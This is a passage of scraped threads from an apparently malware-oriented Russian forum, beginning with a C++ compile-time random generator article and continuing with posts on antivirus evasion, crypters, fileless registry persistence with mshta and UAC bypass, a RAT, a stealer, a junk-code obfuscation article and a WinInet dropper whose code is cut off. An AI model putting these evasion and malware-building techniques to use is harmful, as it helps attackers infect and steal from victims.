    consteval bool CheckExists(...) { return false; }

    template <typename TTag, State = Get(Flag<TTag>{})>
    consteval bool CheckExists(State) { return true; }

    template <typename TTag>
    consteval bool Create(...) { return !sizeof(Creator<TTag, Flag<TTag>>); }

    template <typename TTag, State = Get(Flag<TTag>{})>
    consteval bool Create(State) { return true; }
}

// false если значение не существует (лупхол не был выставлен), true если существует
template <typename TTag, bool bResult = loophole::CheckExists<TTag>(loophole::State::Value)>
consteval bool CheckExists() { return bResult; }

// создает значение если оно не существует, возвращает false если значение не существовало, true если оно уже существовало
template <typename TTag, bool bResult = loophole::Create<TTag>(loophole::State::Value)>
consteval bool Create() { return bResult; }

На первый взгляд со счетчиком всё просто, нужно просто проверять, есть ли функция и если есть, то просто увеличивать счетчик на единицу, пока не дойдем до момента, где функции нет. Если её не было изначально, то просто инжектим:

Spoiler

C++:Copy to clipboard

template <typename TTag, std::size_t N>
struct Index;

template <std::size_t szCurrent>
struct RecursiveSearch
{
    template <typename TTag, bool bIsNextIndex = CheckExists<Index<TTag, szCurrent>>(),
        std::size_t szResult = bIsNextIndex ? RecursiveSearch<szCurrent + 1>::template Next<TTag>() : szCurrent>
    static consteval std::size_t Next() { return szResult; }
};

template <typename TTag, std::size_t szResult = RecursiveSearch<0>::template Next<TTag>()>
consteval std::size_t Find() { return szResult; }

template <typename, typename TTag, std::size_t szIndex = Find<TTag>(), bool = Create<Index<TTag, szIndex>>()>
consteval std::size_t ConstCounter() { return szIndex; }

template <typename TTag, std::size_t szResult = ConstCounter<void, TTag>()>
consteval std::size_t ConstCounter() { return szResult; }

Но если вы попытаетесь скомпилировать этот код, то заметите, что количество рекурсивных вызовов будет слишком велико и такой код просто не скомпилируется, даже несмотря на свою корректность. Нам нужен другой подход, обеспечивающий нам минимальное количество шаблонной рекурсии, например, бинарный поиск:

Spoiler

C++:Copy to clipboard

template <typename TTag, std::size_t N>
struct Index;

template <std::size_t szSize>
struct BinarySearch;

template <>
struct BinarySearch<1>
{
    template <std::size_t szMiddle, typename TTag, bool bIsNextIndex = CheckExists<Index<TTag, szMiddle>>()>
    static consteval std::size_t Next() { return szMiddle + (bIsNextIndex ? 1 : 0); }
};

// фоллбек для невалидного инпута
template <>
struct BinarySearch<0>
{
    template <std::size_t szMiddle, typename Tag>
    static consteval std::size_t Next() { return 0; }
};

template <std::size_t szSize>
struct BinarySearch
{
    template <std::size_t szMiddle, typename TTag,
        std::size_t szNextSize = (szSize >> 1), bool bIsNextIndex = CheckExists<Index<TTag, szMiddle>>(),
        std::size_t szShift = (szNextSize >> 1) + 1,
        std::size_t szNextMiddle = bIsNextIndex ? szMiddle + szShift : szMiddle - szShift,
        std::size_t szResult = BinarySearch<szNextSize>::template Next<szNextMiddle, TTag>()>
    static consteval std::size_t Next() { return szResult; }
};

// максимальный размер области поиска, если хотите оверрайднуть, то оно должно быть числом мерсенна
// std::numeric_limits<NumberType>::max() всегда будет являться таким числом
template <typename TTag, std::size_t szSize = (std::numeric_limits<std::size_t>::max)(), std::size_t szResult = BinarySearch<szSize>::template Next<(szSize >> 1), TTag>()>
consteval std::size_t Find() { return szResult; }

template <typename TTag, std::size_t szIndex = Find<TTag>(), bool = Create<Index<TTag, szIndex>>()>
consteval std::size_t ConstCounterInternal() { return szIndex; }

template <typename TTag, std::size_t szResult = ConstCounterInternal<TTag>()>
consteval std::size_t ConstCounter() { return szResult; }

Замечательно, теперь всё компилируется как надо. Следующим шагом мы имплементируем storage, тут тоже всё тривиально, мы запоминаем текущее значение каунтера, которое становится частью нашего тага, затем мы лупхолим значение с этим тагом.
Для начала, нам нужно написать ассигнер, который будет выставлять значение так, чтобы мы могли найти его бинарным поиском, здесь у нас все тривиально:

Spoiler

C++:Copy to clipboard

struct Dummy {};

template <typename TTag, bool bResult = Create<TTag>()>
consteval Dummy Set() { return {}; }

template <std::size_t szValue>
struct Assigner
{
    // для того, чтобы "найти" значение бинарным поиском, нам нужно нужно создать "путь", по которому будет ориентироваться поисковик
    template <typename TTag, auto = Set<Index<TTag, szValue - 1>>(),
                auto = Assigner<szValue & (szValue - 1)>::template Next<TTag>()>
    static consteval Dummy Next() { return {}; }
};

template <>
struct Assigner<0>
{
    template <typename TTag>
    static consteval Dummy Next() { return {}; }
};

template <typename TTag, std::size_t szValue, auto = Assigner<szValue>::template Next<TTag>()>
consteval Dummy Assign() { return {}; }

ну и теперь нам всего-лишь остается дописать сам сторедж:

Spoiler

C++:Copy to clipboard

template <typename TTag = decltype([]{})>
struct ConstVarStorage
{
    template <typename TUserTag>
    struct ValueIndex {};

    template <typename TUserTag, std::size_t szIndex>
    struct ValueStorageTag {};

    // для каждого последующего ассигна мы используем свой таг
    // для того, чтобы таг был уникальным, мы используем каунтер
    template <std::size_t szValue, typename Tag = TTag, std::size_t szCurrentIndex = ConstCounter<ValueIndex<Tag>>(),
        auto = Assign<ValueStorageTag<Tag, szCurrentIndex + 1>, szValue>()>
    static consteval std::size_t Assign() { return szValue; }

    template <typename Tag = TTag,
        std::size_t szCurrentIndex = Find<ValueIndex<Tag>>(),
        std::size_t szValue = Find<ValueStorageTag<Tag, szCurrentIndex>>()>
    static consteval std::size_t Get() { return szValue; }
};

Да, вот так всё просто! Удивительно, не правда ли?
Ну и теперь осталось самое простое, это генерация псевдослучайных чисел, логика здесь ровно такая же, как и у генераторов на макросах - мы берем некоторый константный сид и используем его. В нашем случае мы берем константные строки и хешируем их, после чего используем полученное значение как сид. Для начала нам нужно обернуть строку, чтобы её можно было передать в качестве шаблонного параметра, для этого напишем простой класс:

Spoiler

C++:Copy to clipboard

template <typename TChar, std::size_t N>
class FixedString
{
public:
    constexpr FixedString(const TChar(&str)[N + 1])
    {
        std::copy_n(str, N + 1, m_Data);
    }

    using TValueType = TChar;
    using TSizeType = std::size_t;

    constexpr static std::size_t m_szLen = N;
    TChar m_Data[N + 1];
};

template <typename TChar, std::size_t N>
FixedString(const TChar(&str)[N]) -> FixedString<TChar, N - 1>;

и сами функции хеширования (вы можете заменить их на свои, чем проще, тем быстрее всё скомпилируется):

Spoiler

C++:Copy to clipboard

template <std::size_t szValue>
consteval std::size_t HashRecursive() { return szValue; }

template <std::size_t szValue, char c, char ... cc>
consteval std::size_t HashRecursive() { return HashRecursive<(static_cast<std::size_t>(c) ^ szValue) * std::size_t(11797901 /*может быть любым простым числом, да и сам алгоритм может быть любым, на ваш вкус*/), cc ...>(); }

template <FixedString Initial, std::size_t ... szIndexes>
consteval std::size_t HashInitialSeq(std::index_sequence<szIndexes ...>) { return HashRecursive<0, Initial.m_Data[szIndexes] ...>(); }

template <FixedString Initial>
consteval std::size_t HashInitial() { return HashInitialSeq<Initial>(std::make_index_sequence<Initial.m_szLen>()); }

ну и теперь дело осталось за малым:

Spoiler

C++:Copy to clipboard

struct ConstRandomTag;
struct ConstRandomCounterTag;

template <std::size_t szValue>
consteval std::size_t NextConstRandomValue()
{
    // каунтер нужен чтобы предотвратить кольцевую генерацию в случае возникновения коллизии
    if constexpr (!szValue) return HashInitial<__TIME__ __DATE__>() + ConstCounter<ConstRandomCounterTag>();
    else return szValue;
}

template <typename TValue = ConstVarStorage<ConstRandomTag>, std::size_t szValue = TValue::template Get<>()>
consteval std::size_t RoundConstRandom()
{
    // здесь мы получаем сид либо предыдущее значение, шаффлим его и возвращаем с ассигном вместо предыдущего
    // алгоритм шаффла здесь может быть абсолютно любым, вы можете заменить на свой
    constexpr std::size_t szNextValue = NextConstRandomValue<szValue>();
    return TValue::template Assign<(std::rotl(szNextValue, 17) ^ std::rotl(szNextValue, 4)) * std::size_t(32360183)>();
}

Вот такая вот небольшая статья, на этом всё и надеюсь вам понравилось, полный "отполированный" исходник:

![godbolt.org](/proxy.php?image=https%3A%2F%2Fgithub.com%2Fcompiler- explorer%2Finfra%2Fblob%2Fmain%2Flogo%2Ffavicon.png%3Fraw%3Dtrue&hash=58090ab3141d5fe9d67780c7cf2b24d3&return_error=1)

Compiler Explorer - C++

namespace detail { namespace loophole { enum class State { Value }; template struct Flag { friend consteval State Get(Flag); }; template <typename TTag, typename TFlag> struct Creator { friend consteval State Get(TFlag) { return State::Value; } }; template...

godbolt.org godbolt.org

PS: Всех сишников и просто тех, кто недолюбливает плюсы или абстрактные общие конструкции просьба воздержаться от негатива при комментировании статьи, спасибо. :)

RDP C#
ID: 6765d804b4103b69df3756ef
Thread ID: 110983
Created: 2024-03-21T17:34:52+0000
Last Post: 2024-06-30T19:56:37+0000
Author: SlEpOy_SnIpEr
Replies: 13 Views: 1K

Написал костыль на С# c использованием windows form в visual studio для подключения по rdp к серверу.

Spoiler: скриншот

1.png

при нажатии на кнопку "подключится" - собственно подключается к первому айпи из списка
собственно при нажатии на кнопку отключиться - отключается от сервера, а при повторном нажатии на кнопку "подключится" - к следующему айпи.
Вопрос: как это автоматизировать?
Нужно чтоб, он многопоточно подключался к каждому айпи делал скриншот, отключался и к следующему айпи переходил.

avcleaner - C/C++ source obfuscator for antivirus bypass
ID: 6765d804b4103b69df3756f0
Thread ID: 117764
Created: 2024-06-28T13:38:21+0000
Last Post: 2024-06-28T15:28:00+0000
Author: blackhunt
Replies: 1 Views: 1K

1719581731705.png

Blog posts​

The implementation is rather complex and this domain in software development is rarely documented in layman's terms. This is why there are blog posts which detail every design choice and go over the quirks of working with the LLVM API.

Build​

docker build . -t avcleaner
docker run -v ~/dev/scrt/avcleaner:/home/toto -it avcleaner bash #adapt ~/dev/scrt/avcleaner to the path where you cloned avcleaner
sudo pacman -Syu
mkdir CMakeBuild && cd CMakeBuild
cmake ..
make -j 2
./avcleaner.bin --help

Usage​

For simple programs, this is as easy as:

avcleaner.bin test/strings_simplest.c --strings=true --

However, you should know that you're using a compiler frontend, which can only work well if you give it the path to ALL the includes required to build your project. As an example, test/string_simplest.c includes headers from the WinSDK, and the script run_example.sh shows how to handle such scenarios.

Common errors​

CommandLine Error: Option 'non-global-value-max-name-size' registered more than once! LLVM ERROR: inconsistency in registered CommandLine options

In case you encounter this error, please use CMakeLists_archlinux.txt instead of CMakeLists.txt and it should go away.

Source Github : https://github.com/scrt/avcleaner

Курс для изучения C++ (для начинающих)
ID: 6765d804b4103b69df3756f5
Thread ID: 115200
Created: 2024-05-23T10:04:00+0000
Last Post: 2024-06-03T00:08:56+0000
Author: AsteroidZ
Prefix: Видео
Replies: 3 Views: 1K
Приветствую всех, пожалуйста помогите найти PID по имени процесса в Kernel Driver на языке C под Windows 10-11
ID: 6765d804b4103b69df3756f8
Thread ID: 115391
Created: 2024-05-26T18:17:03+0000
Last Post: 2024-05-28T12:45:02+0000
Author: mddbs
Replies: 3 Views: 1K

Заранее всех благодарю!!

Как сделать меньше вес билда?
ID: 6765d804b4103b69df3756f9
Thread ID: 114109
Created: 2024-05-08T13:12:09+0000
Last Post: 2024-05-23T20:55:17+0000
Author: repository
Replies: 8 Views: 1K

Подскажите как пампить вес jar файла? у меня есть библиотеки которые сильно увеличивают весь билда и я не могу понять как его снизить
я как мофрить его тоже чтобы детектов было меньше?

Я изучаю C++. Нужен код ревью.
ID: 6765d804b4103b69df37570d
Thread ID: 107517
Created: 2024-02-05T09:27:09+0000
Last Post: 2024-04-20T11:34:51+0000
Author: joe
Replies: 11 Views: 1K

Занимаюсь изучением C++ около 2-3 месяцев, неплохо знаю Python.

Поставил себе задачу написать программу, которая посредством выбора (1 | 2) переводит вводимое число либо из 10 системы счисления в 2, либо наоборот. Вышел вот такой код:

C++:Copy to clipboard

#include <iostream>
#include <vector>
#include <algorithm>
#include <cmath>

#define BINARY 2

int main(int argc, char* argv[]) {
    int number;
    int i{ 0 }; int sum{ 0 };
    int* numptr = &number;
    int* sumptr = &sum; int* iptr = &i;
    
    short signed choice;

    std::vector<int> bin{};

    std::cin >> choice;
    std::cin >> number;
    
    switch (choice) {
        case 1:
            while (*numptr) {
                bin.push_back(*numptr % 2);
                *numptr /= 2;
            }

            std::reverse(bin.begin(), bin.end());

            for (int i = 0; i < bin.size(); i++) {
                std::cout << bin[i];
            }

            break;
        case 2:
            while (*numptr) {
                bin.push_back(((*numptr) % 10) * pow(BINARY, i));

                *numptr /= 10; i++;
            }
            for (int i = 0; i < bin.size(); i++) {
                *sumptr += bin[i];
            }

            std::cout << sum << std::endl;
            break;
    }

    return 0;
}

Пожалуйста, укажите на мои ошибки, к примеру с указателями, переменными, расположением ключевых слов в коде и т.п.
Спасибо!

[C++] Эффективная чистка от детектов?
ID: 6765d804b4103b69df375714
Thread ID: 111898
Created: 2024-04-03T13:54:11+0000
Last Post: 2024-04-12T07:49:20+0000
Author: MAR1O
Replies: 16 Views: 1K

Я сам не готов назвать себя полноценным C++ разработчиком, я больше по части веба, но тем не менее в ознакомительных целях создал данный топик, где выложу вопросы по теме чистки от детектов. Буду рад адекватным ответам.

Есть условный C++ вредонос. И есть у него детект. Вроде как очевидны пути решения детекта сигнатурного, тут вопросов нет. А как грамотно защищаться от детектов, которые выявляются эмуляторами и анализом действий? Или условный нод32 который в память лезет

Чисто техничкски есть предположение, что может помочь добавление всяких доп. действий (включая выделение памяти / взаимодействие с какими-либо файлами / деление циклов) и таким образом мы получим андетект (на время, а потом заменим доп. действия). Верно?

На сколько помогает динамический импорт? Имеет ли смысл морфить имена переменных?

Есть ли какие-то конкретные методики эффективной чистки кода? Или это в любом случае негарантированные "танцы с бубном"?

Заранее извиняюсь, если вопросы дилетантские.

Fileless Persistence
ID: 6765d804b4103b69df37571f
Thread ID: 109663
Created: 2024-03-04T19:31:56+0000
Last Post: 2024-03-31T09:59:39+0000
Author: DangerStyle
Replies: 9 Views: 1K

Hi Guys,

I am currently working on Fileless Malware that persists in the Windows registry,

I use mshta to execute a hidden powershell command at the reboot.

I managed to bypass some av like Windows defender or Eset security, even with Injection of shellcode etc.

Now i have 1 problem, Mcaffe blocks every executed mshta command.

What can i use for fileless persistence and in my uac bypass exploit to run a powershell command without any poping powershell Windows?

Thank you for your help!

Learn C language and assembly
ID: 6765d804b4103b69df375721
Thread ID: 111379
Created: 2024-03-26T18:27:55+0000
Last Post: 2024-03-29T02:11:47+0000
Author: khalid
Replies: 16 Views: 1K

1. don't use C/C++ 😉
2. If you really really need to, I always found it beneficial to learn a bit of assembly (esp. memory operations / memory model as seen from a usermode application), and look at
A question for those with experience: What are some sources for learning these matters, especially assembly? What projects are suitable for immersion and what is the difference between assembly language

DLL с подкачкой EXE
ID: 6765d804b4103b69df375724
Thread ID: 108964
Created: 2024-02-24T14:08:25+0000
Last Post: 2024-03-25T07:21:52+0000
Author: utopia
Replies: 8 Views: 1K

Возможно ли такое написать и сколько это будет стоить?

Crypto++ AES Decrypt (Помогите)
ID: 6765d804b4103b69df37572a
Thread ID: 109944
Created: 2024-03-08T02:36:04+0000
Last Post: 2024-03-20T23:15:39+0000
Author: Zabuza
Replies: 11 Views: 1K

Помогите понять в чем ошибка, не получается провести декрипт. Приложил рабочий вариант на Python.
Сравнил hex значения всех параметров (salt, iv, key, cipher) - совпадают с тем что в Python.

C++:Copy to clipboard

#include <iostream>
using std::cerr;
using std::cout;
using std::endl;
using std::string;

#include <vector>
using std::vector;

#include <string>
using std::string;

#include "cryptopp/hex.h"
using CryptoPP::HexDecoder;
using CryptoPP::HexEncoder;

#include "cryptopp/cryptlib.h"
using CryptoPP::AuthenticatedSymmetricCipher;
using CryptoPP::BufferedTransformation;

#include "cryptopp/filters.h"
using CryptoPP::AuthenticatedDecryptionFilter;
using CryptoPP::AuthenticatedEncryptionFilter;
using CryptoPP::Redirector;
using CryptoPP::StringSink;
using CryptoPP::StringSource;

#include "cryptopp/aes.h"
using CryptoPP::AES;

#include "cryptopp/sha.h"
using CryptoPP::SHA256;

#include "cryptopp/pwdbased.h"
using CryptoPP::PKCS5_PBKDF2_HMAC;

#include "cryptopp/gcm.h"
using CryptoPP::GCM;

#include "cryptopp/base64.h"
using CryptoPP::Base64Decoder;

using CryptoPP::byte;

#include "assert.h"

int main(int argc, char *argv[])
{
    // purpose
    byte unused = 0;

    // password
    byte password[] = "Caa5f6daa8#..";
    size_t plen = strlen((const char *)password);

    // salt
    string salt_b64 = "1In+R0F1apmcIOjpkBDRSm3S65OGI3MV02ECZtU2hRY=";
    string salt_temp;
    StringSource ss(salt_b64, true, new Base64Decoder(new StringSink(salt_temp)));
    const byte *salt = (const byte *)salt_temp.data();
    size_t slen = strlen((const char *)salt);

    // key
    byte key[SHA256::DIGESTSIZE];
    PKCS5_PBKDF2_HMAC<SHA256> pbkdf;
    pbkdf.DeriveKey(key, 32, unused, password, plen, salt, slen, 10000);

    // iv
    string iv_b64 = "zbIzYeha9QW4hjw7eAPyYg==";
    string iv_temp;
    StringSource ss2(iv_b64, true, new Base64Decoder(new StringSink(iv_temp)));
    const byte *iv = (const byte *)iv_temp.data();
    size_t ivlen = strlen((const char *)iv);

    // cipher
    string cipher_b64 = "CSESV6gQenLzp+AGy9MypU2lBKjxOiCOXUU+xLYkOb8zYGrNOMw0JkgNWW/PH+184k1jYL2phcinsRd+OWidpSAca9z/w1eVpghvVfFYQ0Z6bp54BAxHHZO4DcWcGSBdpKEmAo4S3pzup6wpSnnupaqyImDQl7pwEg1KmqCQSocnKt3DJzzE/MxOW8byKwqh93bkwwIU9aX+/UJU5e23BU8b1bP2WeFc81huGRDyZS5Mz2OmVJAgfqRdBdXcGByLLp6wq/eDdm04vHw23IJdenU42Pdci8Mt4qdKI9ISfjX4RECE70mPpVtCz032CD/QhZdcwiJM1mwDw/7MOLh2OLwxEBHCdFsdzWfa/qpYHAOaJdt5M3TMB6Mu9Z15KkjBBBfm/WCd26JyhBFywmN6QuDuPsED2Nagz2SFFfyFJssMoAcrtzNC1VYh4q/5vdeNoHGh0lKwkXmmKmOat9GVHq8eDgT5RK3yvPaICbvQNCZ6OEOFrAwvt0asW1PfNgLQoLrbCa5et5B+XzUkzISknItDV9panBLIwOBsb9K3GJJ1BcgwOjHPe2u2XkcXwdRlcGGD3imJZnPEd+m+Kv1VbH2lNcKZ5LXZPYFyszr/+7SDO6PYx+7YJB9ewEpc10AYZ/fMnpOAh6ozDpZwMRwapAbOMhZf";
    string cipher_temp;
    StringSource ss3(cipher_b64, true, new Base64Decoder(new StringSink(cipher_temp)));
    const byte *cipher_full = (const byte *)cipher_temp.data();
    size_t cipher_full_len = strlen((const char *)cipher_full);
    vector<byte> cipher_vector(cipher_full, cipher_full + cipher_full_len);
    vector<byte> cipher_vector_shrinked;
    cipher_vector_shrinked = vector<byte>(cipher_vector.begin(), cipher_vector.end() - 16);
    byte *cipher = &cipher_vector_shrinked[0];
    size_t cipher_len = strlen((const char *)cipher);

    // decrypt
    const int TAG_SIZE = 12;
    GCM<AES>::Decryption d;
    d.SetKeyWithIV(key, sizeof(key), iv, ivlen);

    string rpdata;
    AuthenticatedDecryptionFilter df(d, new StringSink(rpdata), AuthenticatedDecryptionFilter::DEFAULT_FLAGS, TAG_SIZE);
    StringSource ss4(cipher, true, new Redirector(df));

    cout << "Recovered: " << rpdata << endl;

    return 0;
}

Python:Copy to clipboard

import base64
import hashlib
from Crypto.Cipher import AES

password = "Caa5f6daa8#.."
cipher_b64 = "CSESV6gQenLzp+AGy9MypU2lBKjxOiCOXUU+xLYkOb8zYGrNOMw0JkgNWW/PH+184k1jYL2phcinsRd+OWidpSAca9z/w1eVpghvVfFYQ0Z6bp54BAxHHZO4DcWcGSBdpKEmAo4S3pzup6wpSnnupaqyImDQl7pwEg1KmqCQSocnKt3DJzzE/MxOW8byKwqh93bkwwIU9aX+/UJU5e23BU8b1bP2WeFc81huGRDyZS5Mz2OmVJAgfqRdBdXcGByLLp6wq/eDdm04vHw23IJdenU42Pdci8Mt4qdKI9ISfjX4RECE70mPpVtCz032CD/QhZdcwiJM1mwDw/7MOLh2OLwxEBHCdFsdzWfa/qpYHAOaJdt5M3TMB6Mu9Z15KkjBBBfm/WCd26JyhBFywmN6QuDuPsED2Nagz2SFFfyFJssMoAcrtzNC1VYh4q/5vdeNoHGh0lKwkXmmKmOat9GVHq8eDgT5RK3yvPaICbvQNCZ6OEOFrAwvt0asW1PfNgLQoLrbCa5et5B+XzUkzISknItDV9panBLIwOBsb9K3GJJ1BcgwOjHPe2u2XkcXwdRlcGGD3imJZnPEd+m+Kv1VbH2lNcKZ5LXZPYFyszr/+7SDO6PYx+7YJB9ewEpc10AYZ/fMnpOAh6ozDpZwMRwapAbOMhZf"
iv_b64 = "zbIzYeha9QW4hjw7eAPyYg=="
salt_b64 = "1In+R0F1apmcIOjpkBDRSm3S65OGI3MV02ECZtU2hRY="

encrypted_data = base64.b64decode(cipher_b64)
salt = base64.b64decode(salt_b64)
vector = base64.b64decode(iv_b64)

key = hashlib.pbkdf2_hmac("sha256", password.encode("utf8"), salt, 10000, dklen=32)
cipher = AES.new(key, AES.MODE_GCM, nonce=vector)
decrypted_data = cipher.decrypt(encrypted_data[:-16]).decode("utf8")
print(decrypted_data)
Как можно сделать автозапуск, который будет чист в рантайме?
ID: 6765d804b4103b69df375733
Thread ID: 107032
Created: 2024-01-30T13:25:17+0000
Last Post: 2024-03-11T15:11:22+0000
Author: Alexey18
Replies: 19 Views: 1K

Интересует пока идея по виндовс дефендеру
Решил попробовать сделать авторан на C++. Все функции скрываю.
Методом тестов понял, что методика ярлыков детектится.
Установка значений реесра в пути HKEY_CURRENT_USER детектится,
Установка значений реестра HKEY_LOCAL_MACHINE можно сказать тоже детектится,(не кричит, всё гуд как кажется) только винда тупо не даёт поставить значения в реестре- и после перезапуска нон ворк. (И права админа не помогают)

Может ли кто подсказать идеи, куда копать?

Не получается запустить бинарные данные в памяти программы
ID: 6765d804b4103b69df37573a
Thread ID: 108505
Created: 2024-02-18T06:25:42+0000
Last Post: 2024-03-01T16:25:07+0000
Author: assembler
Replies: 21 Views: 1K

Не получается запустить бинарные данные в памяти программы

Я не так много в c++, но мне надо считать бинарные данные в файла output.bin, и запустить их в памяти моей программы, как это сделать? Я пытался всяко разно это сделать, но все безуспешно.. Даже chat gpt толком не помог

Я так понял что нужно использовать WriteProcessMemory, VirtualAllocEx, OpenProcess. Но спустя десятки попыток и переделок программы у меня не выходит, можете дать направление или решение для этой задачи? Или хотя бы сказать правильно ли я иду или не туда

Вылетает синий экран когда устанавливаю функцию выгрузки в драйвере
ID: 6765d804b4103b69df37573d
Thread ID: 108757
Created: 2024-02-21T12:41:37+0000
Last Post: 2024-02-21T19:14:48+0000
Author: mddbs
Replies: 35 Views: 1K

ПОМОГИТЕ!!

RAT malware: C++/C# Source Code
ID: 6765d804b4103b69df375757
Thread ID: 102536
Created: 2023-11-19T07:32:34+0000
Last Post: 2024-01-01T03:31:47+0000
Author: waka1116
Replies: 7 Views: 1K

A RAT written in C++ or C# then:
1/ Which language should be given priority?
2/ What criteria are used to evaluate good quality RAT and poor quality RAT?

Thanks all.

как написать вирус на С#?
ID: 6765d804b4103b69df375773
Thread ID: 90957
Created: 2023-06-20T10:57:58+0000
Last Post: 2023-11-16T00:22:54+0000
Author: line333
Replies: 10 Views: 1K

Эксперты в яп C# помогите пожалуйста научиться писать вирусы на C#

Уникализация и живучесть крипта (обход АВ)
ID: 6765d804b4103b69df375793
Thread ID: 97867
Created: 2023-09-11T22:34:59+0000
Last Post: 2023-09-13T20:30:52+0000
Author: secflag
Replies: 28 Views: 1K

Всех приветствую.

Уже как полтора года занимаюсь целенаправленным обходом аверов, и часто сталкиваюсь с одной проблемой.
Есть два крипта:
1. Не имеет CRT-зависимостей, LoadPE обработка, динамический импорт по Hash, обход дефендера, хранение payload в коде, генерация WinAPI из разных библиотек.
2. CRT проект, в котором используется RunPE, payload (XOR in .data), отсутствие обфускации исходного кода, дефендер не орет.

Отличает их одно.
Первый крипт (почему-то) живет довольно мало, через сутки появляются первые детекты ESET и Avast.
Второй крипт живет минимум сутки, весит в районе 1МБ.

Что не так? Буду признателен в помощи.

Генерируем мусорный код на C++ на шаблонах
ID: 6765d804b4103b69df37579a
Thread ID: 75284
Created: 2022-11-05T06:04:56+0000
Last Post: 2023-09-08T06:12:25+0000
Author: tenocyclidine
Prefix: Статья
Replies: 2 Views: 1K

При написании софта иногда необходимо скрыть его код от посторонних глаз, запутать реверсера (или антивирус), чтобы софт не крякнули (или чтобы софт не палился антивирусами).
Одним из способов это сделать является генератор мусорного кода, который создает бессмысленные инструкции с целью разбавить ими код, выполняющий реальную работу.
Хоть тема генерации мусора не раз упоминалась в статьях на этом форуме, но в основном мусор генерировался на уровне ассемблера, из-за чего итоговый бинарник не похож на работу реального компилятора,
так что реверсер с наметанным глазом, или хорошо обученная ИИшка, смогут раскусить этот код, но что если заставить генерировать мусор сам компилятор?
Основная идея заключается в том, чтобы вручную написать подобные блоки мусора (проявите фантазию):

C++:Copy to clipboard

inline unsigned Block(unsigned dummy) {
    unsigned result = dummy;
    for (int i = 0; i < dummy % 1024; i++) {
        result *= 2;
        result += i;
    }
    return result + dummy;
}

Важно: каждый блок должен быть inline (а лучше __forceinline, или, для gcc, always_inline), чтобы мусор был встроен в место вызова
И каким-то образом вызывать блоки в случайном порядке, причем порядок должен определяться во время компиляции, а сам мусор должен инлайниться в место вызова.
Так же должна быть возможность указывать количество мусора для генерации (не писать же подряд 50 вызовов Junk(); Junk(); Junk(); подряд).
Сначала решим проблему с указанием количества мусора, напишем вспомогательную функцию constexpr for (аналог constexpr if, честно позаимстовованный уже не помню откуда):

C++:Copy to clipboard

template <auto Start, auto End, auto Inc, class F>
constexpr void constexpr_for(F&& f) {
    if constexpr (Start < End) {
        f(std::integral_constant<decltype(Start), Start>());
        constexpr_for<Start + Inc, End, Inc>(f);
    }
}

Все просто, в шаблонные параметры запихиваем количество итераций и значения откуда и куда итерироваться, а в обычный параметр пихаем лямбду, и constexpr чтобы это все считалось в compile time.
Теперь надо как-то вызывать в цикле блоки мусора, выбирая блок случайно во время компиляции:

C++:Copy to clipboard

template <unsigned Seed, int Amount>
inline unsigned GenerateJunk(unsigned dummy) {
    unsigned result;
    constexpr auto kBlocksAmount = 3;
    constexpr_for<0, Amount, 1>([&](auto i) {
        if constexpr ((Seed * i) % kBlocksAmount == 0) {
            result *= Block1(dummy);
        } else if constexpr ((Seed * i) % kBlocksAmount == 1) {
            result *= Block2(dummy);
        } else if constexpr ((Seed * i) % kBlocksAmount == 2) {
            result *= Block3(dummy);
        }
    });
    return result;
}

Для работы этого кода надо где-то объявить функции Block1, Block2 и Block3,

C++:Copy to clipboard

Seed * i

- это и есть та самая часть, которая отвечает за случайность порядка вызова, Seed должен быть определен во время компиляции, а умножение на i для того, чтобы каждую итерацию цикла не генерировался одинаковый мусор, constexpr if гарантирует, что порядок будет вычислен не в рантайме.

C++:Copy to clipboard

result *= Block1...

чтобы компилятор не оптимизировал весь мусор и не выкинул его из результирующего бинаря.
Пример использования фунции:

C++:Copy to clipboard

GenerateJunk<__LINE__, x>

В качестве первого шаблонного параметра - любое рандомное число, известное в compile time (LINE, COUNTER, TIME), в качестве второго - любое число, которое ТОЧНО не будет известно во время компиляции,
ведь если компилятор будет знать это число он может выполнить весь мусор во время компиляции и подставить результат в место вызова, выкинув весь мусор из бинарника. Так же обязательно надо использовать число, которое вернул мусор для создания побочных эффектов (например указать это число как код возврата, или напечатать его в консоли), иначе компилятор вырежет весь этот код т.к. его результат не используется.
Итоговый результат: https://godbolt.org/z/311eKqjWc
15 тысяч строк ассемблера, но даже с __forceinline мусор заинлайнился не полностью (в коде main есть какие-то переходы, умножения но сложно понять что они значат даже с подсказками godbolt), так что практической ценности этот код имеет мало, но думаю если его допилить, поиграться с флагами компилятора, заставив его это все инлайнить, добавить побольше блоков, может получиться что-то годное для реального применения

Компиляция приложения внутри приложения
ID: 6765d804b4103b69df3757a7
Thread ID: 95606
Created: 2023-08-13T18:54:18+0000
Last Post: 2023-08-20T14:56:46+0000
Author: Disya
Replies: 45 Views: 1K

Я хочу сделать генерацию кода и компиляцию кода внутри приложения на c/c++(90% кода на с++). Как это возможно сделать, желательно без триллиона кода? Пишу приложение на базе imgui

Какой компилятор выбрать под Malware
ID: 6765d804b4103b69df3757b1
Thread ID: 93301
Created: 2023-07-18T15:14:02+0000
Last Post: 2023-08-12T17:08:17+0000
Author: D12
Replies: 19 Views: 1K

Недавно начал учить Малварь кодинг по мануалу Quake3 и нахожусь на фазе изучения языка C, и вот недавно появился у меня этот самый вопрос, с одной стороны нужно чтобы итоговый малварь имел очень маленький вес и был стабилен, с другой стороный компиляторы по типу TCC могут повлиять на работаспособность (как мне сказал интернет), поэтому выбор пал на Clang (у GCC итоговый вес больше даже если использовать флаги для оптимизации)

А какой вы используйте и почему ?

P.S Поставил себе цель написать стиллер если это имеет значение

C++ Dropper. Ошибка SSL
ID: 6765d804b4103b69df3757b7
Thread ID: 87975
Created: 2023-05-14T15:32:20+0000
Last Post: 2023-08-08T13:58:49+0000
Author: sect adept
Replies: 22 Views: 1K

Всем привет. Решил написать самый примитивный дроппер на плюсах. Юзаю WinInet. Скачивание файла происходит по прямой ссылке с файлообменника. На моей ВДС Windows Server 2019 все отлично работает, файл скачивается. Запускаю на голой системе Windows 7 без драйверов и тд, где установлен только Internet Explorer по дефолту. В итоге вылетает ошибка ERROR_INTERNET_SECURITY_CHANNEL_ERROR 12157 The application experienced an internal error loading the SSL libraries - код ошибки с MSDN.
Код:

C++:Copy to clipboard

#define _CRT_SECURE_NO_WARNINGS

#include <windows.h>
#include <wininet.h>
#include <iostream>
#include <vector>

#pragma comment(lib,"wininet")

using namespace std;

int main(int argc, char* argv[])
{
    ios::sync_with_stdio(0);
    cin.tie(0);
    cout.tie(0);

    if (argc == 1)
    {
        cout << "0 arguments were passed!";
        return 1;
    }

    if (argc == 2)
    {
        cout << "No output file name!";
        return 1;
    }

    vector <LPCSTR> names;
    vector <LPCSTR> urls;

